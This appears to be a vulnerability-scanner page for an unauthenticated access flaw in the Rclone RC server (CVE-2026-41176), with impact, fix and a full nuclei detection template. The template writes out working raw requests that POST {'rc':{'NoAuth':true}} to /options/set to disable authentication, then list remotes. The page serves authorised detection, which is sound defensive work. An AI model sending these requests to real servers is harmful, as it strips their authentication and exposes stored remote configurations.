Rclone RC - Broken Access Control

criticalseverity

9.2CVSS score

32.7%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Rclone >= 1.45.0 and < 1.73.5 contains a broken access control vulnerability caused by unauthenticated access to the RC endpoint `options/set` allowing mutation of global runtime configuration, letting unauthenticated attackers access sensitive administrative functions, exploit requires RC server started without global HTTP authentication.

Impact

Unauthenticated attackers can access sensitive administrative functions, potentially leading to full control over the RC server configuration and operations.

Fix

Upgrade to version 1.73.5 or later.

How to confirm it

Send: POST /config/listremotes
Positive when: status_code == 403 and contains(content_type, "application/json")
Send: POST /options/set
Positive when: status_code == 200 and contains(body, "{}") and contains(content_type, "application/json")
Send: POST /config/listremotes ; POST /options/set
Positive when: status_code == 200 and contains(body, "remotes") and contains(content_type, "application/json")

Run it with nuclei: nuclei -id CVE-2026-41176 -u <target>

The full check

id: CVE-2026-41176

info:
  name: Rclone RC - Broken Access Control
  author: theamanrawat
  severity: critical
  description: |
    Rclone >= 1.45.0 and < 1.73.5 contains a broken access control vulnerability caused by unauthenticated access to the RC endpoint `options/set` allowing mutation of global runtime configuration, letting unauthenticated attackers access sensitive administrative functions, exploit requires RC server started without global HTTP authentication.
  impact: |
    Unauthenticated attackers can access sensitive administrative functions, potentially leading to full control over the RC server configuration and operations.
  remediation: |
    Upgrade to version 1.73.5 or later.
  reference:
    - https://github.com/rclone/rclone/security/advisories/GHSA-25qr-6mpr-f7qx
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41176
  classification:
    cvss-score: 9.2
    cve-id: CVE-2026-41176
    epss-score: 0.32715
    epss-percentile: 0.98357
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 4
    vendor: rclone
    product: rclone
  tags: cve,cve2026,rclone,auth-bypass,rce,unauth,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /config/listremotes HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 403'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        POST /options/set HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"rc":{"NoAuth":true}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{}")'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        POST /config/listremotes HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

      - |
        POST /options/set HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"rc":{"NoAuth":false}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "remotes")'
          - 'contains(content_type, "application/json")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from